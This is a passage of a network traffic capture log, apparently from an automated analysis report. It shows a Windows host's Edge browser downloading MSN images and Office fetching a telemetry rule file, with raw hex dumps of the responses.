2024-11-23 23:06:59 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-23 23:06:59 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-23 23:06:59 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-23 23:06:59 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49936	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:59 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDML Last-Modified: Sun, 17 Nov 2024 00:54:30 GMT X-Source-Length: 86931 X-Datacenter: eastap X-ActivityId: 9823d744-1753-43fb-8aac-d76b0a0a8d0e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 86931 Cache-Control: public, max-age=222551 Expires: Tue, 26 Nov 2024 12:56:10 GMT Date: Sat, 23 Nov 2024 23:06:59 GMT Connection: close
2024-11-23 23:06:59 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 23:06:59 UTC	16384	IN	Data Raw: aa 22 99 f9 6b 19 8e 77 33 6f 51 d3 7b 52 bb 5c f6 1a ae 74 35 d8 43 c0 24 41 d4 13 73 6c 8c cc 2f 4d d1 f5 fd 4d 50 7b cd a2 db d8 e2 20 e1 1a c8 b8 91 68 e6 be 44 f7 f7 5e 26 24 72 f7 ec 5f 50 a2 05 5a 67 0b b2 64 43 da e2 08 1b c2 d3 a5 b5 4f cd 78 45 c7 3f ca bf b9 78 63 1f 24 cc 4f 2e dc 6f fb 3d 47 ee 31 59 98 4c 6a 66 47 95 84 ac 7e b7 af a9 d2 d3 73 81 6e eb 9a 0e 21 91 8c 94 a8 b1 ad 30 64 98 33 bd 61 c8 95 e5 fd b0 e6 d1 a6 69 10 48 aa 06 fe 42 0c c5 ef 7b dd 70 78 f2 cf 3f 24 45 cf 7f c9 d9 9e 38 61 86 53 51 b4 08 67 fe a4 13 15 28 cf 22 c7 41 3f e1 74 81 6f e2 5e 8a 8f b6 3a 2a c7 0f 70 b1 dc 9c d3 f7 12 17 c4 19 f1 0b da 5b 7e 56 5e 8a 83 5a de bb a7 68 3f ad d2 fe 77 b1 1b 32 5e d6 78 63 1d 7b 4c fd 9e 3e 13 33 d3 bc 47 dd f6 b6 96 d4 68 73 Data Ascii: "kw3oQ{R\t5C$Asl/MMP{ hD^&$r_PZgdCOxE?xc$O.o=G1YLjfG~sn!0d3aiHB{px?$E8aSQg("A?to^:*p[~V^Zh?w2^xc{L>3Ghs
2024-11-23 23:06:59 UTC	1746	IN	Data Raw: 05 67 96 31 94 54 c3 4c 73 9c 66 e2 68 5d 46 00 03 80 c6 48 69 27 2b 7e 91 cb 8a f2 3e d0 79 73 c3 03 4c 86 cc 8b 83 9d c0 d2 01 d5 7a 2a cf 34 e9 3d c6 74 c2 0e 86 4e 97 17 e2 bc b8 7f 78 be a3 ea 9a 75 1a 0e 11 1f 19 68 82 d9 ca da 6b c5 65 3b 45 1c cd cf 46 28 6e 26 98 8d d3 61 a3 b3 fa 2d fa d5 1b 5b a5 a4 4f f6 94 06 03 1f a9 84 cb 49 3c db 70 b2 dc f0 34 6b 65 e0 58 0f 3b 48 91 e2 a4 29 e3 a2 5d 2d 02 6c 26 e2 73 d8 38 2c 27 91 dc c5 c7 58 dd 5d ca ac 6b a3 47 80 cd 01 b1 20 d8 99 83 23 28 52 2c ab d4 b3 f4 83 49 82 d2 05 9b ef 8f 32 ab 0c 16 b6 c4 5e fc ac 94 25 ae 76 b8 70 81 33 96 5b 51 12 ce e4 b3 45 ed 8d eb 96 cb bf 85 a7 6e b6 bd 97 b0 a0 fa 6e a6 30 0b 09 03 15 c9 00 eb 99 13 c5 79 ba 1d 3b ab e2 38 9a 19 4c 09 71 70 6c 65 00 bb dc b6 1a fa Data Ascii: g1TLsfh]FHi'+~>ysLz*4=tNxuhke;EF(n&a-[OI<p4keX;H)]-l&s8,'X]kG #(R,I2^%vp3[QEnn0y;8Lqple
2024-11-23 23:06:59 UTC	16384	IN	Data Raw: 72 b2 ac 70 9c 8b 29 88 de ef f1 d9 ed e9 50 a0 c0 e2 61 87 f8 88 1e 1a 22 31 35 8d 3b cc f2 9f f2 5f 1f ac ea d4 9e 03 2a 3c 92 05 c3 89 12 7f 4d ac 48 f1 5a 1f bc ab 4a a9 c5 55 ce c0 cb 4f ea 23 97 2d ed 38 05 d1 3f c7 99 ff 00 75 b1 8f 34 47 78 ad fe 8f a4 8a a6 c0 16 93 a7 c4 2d c2 fa a1 cd 37 bd ae 71 0d bc ea d1 a7 85 97 82 a7 ed 4a c2 a7 f6 b2 c3 04 df 08 16 d2 e0 95 ed 99 ed 70 c2 de e3 66 5a 30 b4 16 92 67 f5 11 fa 5b 1c f5 53 3e 09 c6 95 1e 58 ca c9 6d 06 88 0e 02 1d a4 d8 ff 00 e6 4e 14 62 c2 a6 01 ac 62 10 23 33 bd 11 b5 05 5f db 46 a3 e2 83 44 5c cb a7 94 81 02 22 40 28 76 fb 5a ab 1e 59 14 b7 cc c8 69 90 de 62 64 17 70 8f 44 be 3c ed 7a f1 a6 97 51 4f b6 d1 86 a5 1a af 3a 0a 6d 93 e2 db 78 ad 3e 96 95 7e 94 12 e0 00 76 a5 a6 5c 00 bc 61 3e Data Ascii: rp)Pa"15;_*<MHZJUO#-8?u4Gx-7qJpfZ0g[S>XmNbb#3_FD\"@(vZYibdpD<zQO:mx>~v\a>
2024-11-23 23:06:59 UTC	16384	IN	Data Raw: ab 88 4c 21 08 77 04 64 49 54 19 88 c6 a8 04 b1 18 bb 01 07 8a 61 69 1f e4 a4 d2 08 9e 8e 1a e7 bd dc a0 71 25 0a 25 fa 0b 66 79 22 f0 c0 00 42 53 bc 51 c6 d3 66 d5 a8 1d 26 e2 79 2c d6 c3 9f c3 ec 8a c2 62 f7 29 10 ae 22 99 ce e6 90 d1 97 90 59 c6 4d 53 3e 08 bc d2 70 cb a5 52 47 e0 b0 13 aa 7b 80 c1 96 57 84 13 4b ac 26 fa ca 3a 88 15 0c 38 d8 72 cf 82 99 d9 a4 6f 2b e9 ab b2 88 70 73 a0 16 91 27 3e 1e 0b 2a ab 8b fc 89 8f 34 7d 6e 95 92 4e 2c 52 67 2b 7a ac 97 34 b7 4b 64 a6 2b ba f2 99 88 d3 3c 97 4d d8 46 72 99 73 ac f9 28 02 a7 2e 00 ab 64 e2 cf 5e 69 a2 8b 9d 61 03 8f 35 dd c2 5e 09 8b 08 13 a6 8b 47 a7 78 35 04 da 01 8c c4 c7 cc 28 9d a1 a6 31 13 2a 7d 16 50 bb 88 79 d0 34 58 0d bf 44 75 26 cb 1b 51 e0 00 6f 03 86 64 7d 82 cd a9 84 93 a9 13 ae 67 Data Ascii: L!wdITaiq%%fy"BSQf&y,b)"YMS>pRG{WK&:8ro+ps'>4}nN,Rg+z4Kd+<MFrs(.d^ia5^Gx5(1}Py4XDu&Qod}g
2024-11-23 23:06:59 UTC	7952	IN	Data Raw: a6 60 32 a7 3d c3 ea 7e a8 7c c6 cd 73 4e d2 79 10 3d 0a 62 19 6a d5 91 05 41 52 92 53 09 73 c1 30 5e 53 4a 7a 2e 11 ca ea b6 a8 5e 61 23 68 49 c3 f4 41 df 52 9d 30 dc d0 63 e6 50 42 c9 90 85 b1 4c 71 d1 25 04 62 ab ca a9 e0 a9 30 66 b0 99 29 59 66 a8 a0 27 2a 22 c5 45 76 68 07 93 f0 7c e6 ba 25 87 fd d3 f7 51 02 cd d9 ef 55 3b a7 6a 64 91 74 c7 2c 87 cf 35 64 e4 96 3d de f5 77 e4 90 41 12 4e 51 68 41 94 58 71 00 70 08 35 11 10 67 12 5b b5 4d 82 73 e3 c1 0e e1 05 04 90 54 35 2a db 9e c5 11 aa 0c 45 33 a8 f5 56 eb 68 52 9b aa b3 21 04 b6 eb e6 8a f2 f0 41 0d 6c 8c 87 0d 3c 10 45 54 b2 53 33 d8 99 50 5b 42 12 c5 93 06 a8 6a e5 31 3f 3f 8a 54 dc ca 01 b8 9c d7 0f 7a 8b cd 85 bc fd cb b4 5c f3 22 67 c9 01 cd cb de aa 77 8a e6 aa 77 c4 80 a4 c9 d3 ee 95 7d aa Data Ascii: `2=~\|sNy=bjARSs0^SJz.^a#hIAR0cPBLq%b0f)Yf'"Evh\|%QU;jdt,5d=wANQhAXqp5g[MsT5E3VhR!Al<ETS3P[Bj1??Tz\"gww}
2024-11-23 23:06:59 UTC	12216	IN	Data Raw: 71 09 0f c6 4d a6 3f de 7e 89 fc 70 9f 96 5e e9 bd 4b bf d5 1e 09 ce ea f0 8b d4 1e 6d fc 4a f9 e8 91 f8 c7 d6 54 1d 58 0f d4 06 c6 4f dd 2f 8e 15 f2 cb df fe fe ff 00 da 7f db f8 26 fe f6 74 78 f3 20 7b d7 ce 45 4a 45 c3 13 c9 da 07 b9 4d ce a3 7b 8f 07 7d 53 f8 f1 29 f2 e4 fa 10 ea 9e 35 ac dd 92 3e a5 5f ef 8f fa a0 7f 88 7d 17 ce 5b 07 42 d3 b5 51 24 66 d3 c2 df f5 2b f8 e1 9f cb 2f a2 3b af 04 7f 6a df e6 3f 45 11 d6 da f5 5b e6 e5 f3 63 55 bc 80 f3 8f 71 51 35 5b 17 71 fe 6f c1 2f 8f 13 f9 72 7d 30 f5 cc 1f f2 0f 27 7e 08 7f de b0 e9 50 7f 30 fa 2f 9c 8a f4 ef 67 1f 32 a1 df 6f 27 fc f9 2a d1 08 f9 32 7d 23 f7 61 c2 d5 40 f3 1f 45 7f b8 1f ea 03 c6 fe e6 af 9b 97 b5 c3 e0 70 f3 5d 89 b1 67 10 55 69 84 eb 97 d3 85 77 45 aa 37 f9 a0 fa 85 13 59 c7 fe Data Ascii: qM?~p^KmJTXO/&tx {EJEM{}S)5>_}[BQ$f+/;j?E[cUqQ5[qo/r}0'~P0/g2o'*2}#a@Ep]gUiwE7Y

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:59 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:59 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0cf5f3f5-601e-003e-691a-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230659Z-178bfbc474bw8bwphC1NYC38b400000004y000000000b5m5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:59 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49937	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:59 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 08 Nov 2024 13:42:23 GMT X-Datacenter: westus X-ActivityId: 54514d10-e954-4c08-a458-7867f3149dc5 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0Z X-Source-Length: 132415 Content-Length: 132415 Cache-Control: public, max-age=268399 Expires: Wed, 27 Nov 2024 01:40:18 GMT Date: Sat, 23 Nov 2024 23:06:59 GMT Connection: close
2024-11-23 23:06:59 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 23:06:59 UTC	16384	IN	Data Raw: f2 f8 87 0a af d5 5e 42 ab 9e 5e 85 a9 ea 08 31 37 1a bb d2 b5 11 2e 8d c4 52 ad 95 05 57 2b 7e 0b 50 3b d3 20 d4 c2 c5 58 73 63 aa 46 4c 73 b9 a3 76 1f 5e ab 41 5e 35 12 ea 0d ab 75 62 3c 6a 05 57 85 2f ea 6d 3d c1 1b 55 0d 9d cd 56 57 a5 2e c6 38 55 c9 11 6d 54 ce c4 ef 5b eb b0 aa 5a 95 26 8f 24 46 ce 1c cd 50 f5 4d 0e 92 2a d8 35 7c 62 36 b0 e4 6a cf 54 55 1a 4d 47 41 a7 a8 9d d5 de b7 2a af d6 6a 97 a7 5b e9 d6 e8 fb 54 72 9a 58 b1 a6 4a 55 25 6a e6 91 76 a8 12 6a d9 8e 15 1d 35 65 34 ab 2c 2a bd 46 af d3 54 1a 64 96 a9 ac 9a 8c 56 de 9b 24 0d 5c 2a bb d5 83 55 4a a2 fa ac 93 c2 b6 0d 5b 06 a1 64 c8 35 9e 99 34 f6 81 4d 2a 0a 7c 9b 88 4f a5 57 04 a2 da 05 42 14 54 73 da b8 c2 61 16 a7 ec 15 79 d3 ce a9 3a 69 79 53 35 af 2a 59 98 9a 99 93 c2 a9 20 d1 Data Ascii: ^B^17.RW+~P; XscFLsv^A^5ub<jW/m=UVW.8UmT[Z&$FPM5\|b6jTUMGAj[TrXJU%jvj5e4,FTdV$\UJ[d54M\|OWBTsay:iyS5Y
2024-11-23 23:06:59 UTC	2440	IN	Data Raw: 55 ca 97 18 0e dd ab 1e 55 0f c2 30 e5 7d a8 e9 56 b0 99 32 60 8a ac fb 4f 09 db 8f d2 97 2a 7c 60 37 e1 0c c1 89 e5 5a 7b 46 1c 87 f5 ca ba 21 85 47 ba dc 26 a9 cd e9 2c 33 34 13 6e 7f 2a 5c a9 71 80 a3 b3 c9 3f f1 54 e5 ed 1c fb d4 c6 93 ff 00 34 73 0b e3 c8 a7 4b c8 9b ff 00 2a b3 30 4c 60 16 3a 47 05 e7 e1 f9 fc e9 f2 ad c6 04 63 c0 d9 f1 eb c7 f0 71 32 27 e9 bc 75 da b7 f0 a7 8e dc bf 99 ab b0 65 40 e5 51 a0 64 26 27 8f 38 e4 3e 54 55 57 4c 98 13 3b 74 a5 72 b1 a6 31 cd be 84 e7 03 88 06 de 3c 2a a1 80 bd c0 b7 03 c2 2b a7 7c 68 18 41 8d ad c0 8e 44 57 95 81 05 14 44 5f a0 aa e4 d7 07 35 f8 67 fb 26 a9 3d bb b7 02 2b ac 0d 0b cf 4f fc d4 43 de 0e cd c7 95 b6 a5 ce 97 09 ea e2 9b 03 02 40 14 ca 61 68 bf fc 57 63 81 71 b2 ef 24 6f e1 4b f7 19 31 df 42 Data Ascii: UU0}V2`O\|`7Z{F!G&,34n\q?T4sK0L`:Gcq2'ue@Qd&'8>TUWL;tr1<+\|hADWD_5g&=+OC@ahWcq$oK1B
2024-11-23 23:06:59 UTC	16384	IN	Data Raw: 2a 2e 57 53 40 e0 b7 8e bc aa 9c 78 c2 61 d1 62 44 a9 9b 6c 4e f4 f7 b2 d6 8b 41 89 17 e1 d0 71 fc aa 61 c3 e3 16 22 45 45 5b d3 2c 0e c6 0c 74 da ac 46 c5 3a 44 45 f6 bd 6d 1e d4 a6 92 16 4f 19 16 e5 56 06 d4 58 11 00 6d 13 33 48 66 25 32 e2 c6 a6 03 31 73 e4 3f 7d 20 b9 cc e7 bc dd e3 a4 45 2d 16 dd 46 85 60 4c 5f 7a ae 54 ab 31 9d b6 e5 43 7b 7c 8e e3 41 37 e3 c2 6d c2 99 1a d7 3e 96 8b 02 57 f8 87 2f 3a 7a 3d a9 42 af 06 24 0b 4f 85 5a b8 c5 c9 32 06 de 3c 29 86 c7 a3 41 51 66 26 47 9f 1a 5c a1 46 7c 63 a1 1e 3c 2b 54 b4 00 5a db a8 fa d6 85 5c a4 88 fd d4 43 22 85 50 63 dc 47 eb 4a 89 0c 41 03 9f 53 49 54 98 d6 09 58 f8 45 8d 3f e9 ab 28 60 7c ff 00 ae b5 af 97 4f b9 80 13 e5 f9 d2 1e b2 a3 33 7f d3 62 27 f8 4f 1e b1 cc 78 8a da 61 04 24 cd ad fd 7f Data Ascii: *.WS@xabDlNAqa"EE[,tF:DEmOVXm3Hf%21s?} E-F`L_zT1C{\|A7m>W/:z=B$OZ2<)AQf&G\F\|c<+TZ\C"PcGJASITXE?(`\|O3b'Oxa$
2024-11-23 23:06:59 UTC	16384	IN	Data Raw: 42 b1 b7 01 4b 4a 94 11 9f 2a ac 42 84 11 22 39 19 f6 dc 7b b8 4d eb 99 ff 00 20 be a9 95 98 01 75 a1 22 d6 be f0 3c eb b6 ee 71 e0 0c 7d a7 54 69 22 e4 7b 48 33 26 66 7c 0d 70 d9 f1 0b 9f 78 c8 2e cb 6b 89 99 b9 13 c6 47 0a 77 1b 34 9d ef 62 08 a5 d2 db d8 c4 83 06 36 de 8c 76 8a ba 17 23 c9 09 a8 c0 23 dc 49 81 ce de d3 40 b0 13 8c 06 0a c2 79 fe 46 0f 0e 15 7f 7b 94 a6 1c 64 29 5d 40 12 3a eb 73 36 3b 79 55 4d 26 f8 12 cf fe 44 34 fa 68 aa 9e 40 5b ad 4b d4 9c 64 b2 87 76 31 a4 7b 4a 29 1b b1 83 06 36 02 f0 68 5e 11 8f 4a 33 46 bc 9f 68 d9 64 48 24 1b df ee 2c 75 da 89 60 c0 0b 92 cc 34 07 2e 58 9f e1 f9 93 14 f2 cb 7d 34 82 7d c7 6d e8 ae 3c 88 9d b8 64 6d 41 21 a6 37 86 76 04 18 e5 04 57 39 88 a6 6c 99 75 e0 51 ae 09 ba 9d 10 49 f6 83 11 bc 47 95 74 Data Ascii: BKJ*B"9{M u"<q}Ti"{H3&f\|px.kGw4b6v##I@yF{d)]@:s6;yUM&D4h@[Kdv1{J)6h^J3FhdH$,u`4.X}4}m<dmA!7vW9luQIGt
